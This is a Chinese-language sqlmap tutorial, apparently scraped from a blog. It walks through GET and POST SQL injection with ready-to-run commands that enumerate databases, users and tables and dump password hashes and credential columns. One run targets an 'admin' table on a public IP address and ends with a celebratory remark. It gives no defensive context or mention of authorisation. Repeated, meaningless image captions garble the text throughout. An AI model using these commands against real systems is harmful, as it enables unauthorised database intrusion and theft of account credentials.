1.2 安装sqlmap

 请在http://sqlmap.org/ 中下载sqlmap

将下载文件解压,然后将目录更改为SQLMap,将SQLMap复制到Python的安装目录C:\Python27,在cmd窗口中输入sqlmap.py -h,能看到帮助命令就表示安装成功了

 

我们将下载文件解压,然后将目录更改为SQLMap,将SQLMap复制到Python的安装目录C:\Python27,在cmd窗口中输入sqlmap.py -h,能看到帮助命令就表示安装成功了

2、检测注入GET注入sqlmap -u “http://www.vuln.cn/post.php?id=1″ 默认使用level1检测全部数据库类型

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

-u:指定注入点url

 

post中注入可以使用Fiddler工具来抓取post包,把请求保存在txt文件里

sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数

-r REQUESTFILE 从一个文件中载入HTTP请求。-p TESTPARAMETER 可注入的参数

3、暴库3.1 曝出所有数据库名称,命令如下:

C:\Python27\sqlmap>python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --dbs

sql2008 tempdb有什么作用 sql amp_sql

参数:--dbs:dbs前面有两条杠

3.2 当前使用的数据库

C:\Python27\sqlmap>python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --current-db

sql2008 tempdb有什么作用 sql amp_php_02

3.3 数据库使用账户C:\Python27\sqlmap>python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --current-user

sql2008 tempdb有什么作用 sql amp_sql_03

3.4 列出sqlserver所有用户

C:\Python27\sqlmap>python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --users

sql2008 tempdb有什么作用 sql amp_数据库_04

3.5 数据库账户与密码

C:\Python27\sqlmap>python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" --passwords(我这里报错了,在dbms我没有读写权限)

sql2008 tempdb有什么作用 sql amp_数据库_05

3.6、列出数据库中的表

C:\Python27\sqlmap>python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" -D tourdata --tables

sql2008 tempdb有什么作用 sql amp_数据库_06

3.7 列出表中字段

C:\Python27\sqlmap>python sqlmap.py -u "http://www.vuln.cn/post.php?id=1" -D tourdata -T userb --columns

sql2008 tempdb有什么作用 sql amp_数据库_07

3.8 爆出字段的username 和 password的值

D:\python27\sqlmap>sqlmap.py -u "http://120.203.13.111:6815/?id=1"  -D  maoshe -T  admin -C  "username, password" --dump

完事  收工!!!!

sql2008 tempdb有什么作用 sql amp_数据库_08

post注入的三个检测方法:

注入方式一:

1.用Burp抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至某个目录下

sql2008 tempdb有什么作用 sql amp_sql_09

2.列数据库:

sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n --dbs

注:-r表示加载一个文件,-p指定参数

sql2008 tempdb有什么作用 sql amp_sql_10

其中出现了三次提示:

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n]  输入"Y"for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n] 输入"N"POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N]  输入"Y"

以下是猜解出来的一些数据库总共有13个数据库。

sql2008 tempdb有什么作用 sql amp_sql_11

3.猜表

选择一个数据库,比如选fendo

sqlmap.py -r "c:\Users\fendo\Desktop\test.txt" -p n -D fendo --tables

sql2008 tempdb有什么作用 sql amp_php_12

得到user表。

4.猜列

sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n -D fendo -T user --columns

sql2008 tempdb有什么作用 sql amp_sql_13

 5.猜数据

sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n -D fendo -T user -C “username,password” --dump

sql2008 tempdb有什么作用 sql amp_sql2008 tempdb有什么作用_14

注入方式二:自动搜索表单的方式    

sqlmap.py -u "http://192.168.160.1/sqltest/post.php" --forms

它会有几次消息提示:

sql2008 tempdb有什么作用 sql amp_sql2008 tempdb有什么作用_15

do you want to test this form? [Y/n/q]要测试此表单吗?[Y/n/q]  输入"Y"

do you want to fill blank fields with random values? [Y/n]是否要填充带有随机值的空白字段? [Y/n]  输入"Y"

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n] 输入"Y"for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?[Y/n]  输入"N"

POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N]  输入"N"

do you want to exploit this SQL injection? [Y/n]你想利用SQL注入? 输入"Y"

sql2008 tempdb有什么作用 sql amp_sql_16

注入方式三:指定一个参数的方法

sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"

sql2008 tempdb有什么作用 sql amp_php_17